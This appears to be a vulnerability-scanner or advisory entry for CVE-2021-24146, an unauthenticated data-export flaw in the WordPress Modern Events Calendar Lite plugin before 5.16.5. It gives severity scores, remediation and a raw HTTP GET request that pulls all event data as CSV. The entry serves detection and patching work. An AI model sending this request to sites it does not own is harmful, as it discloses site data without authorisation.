| Title | WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure |
|---|---|
| Author | random_robbie |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or database contents. |
| Remediation | Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.6415 |
| CVE ID | CVE-2021-24146 |
| CWE ID | CWE-862,CWE-284 |
| Tags | cve cve2021 wpscan packetstorm wordpress wp-plugin webnus vuln |
WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.
GET /wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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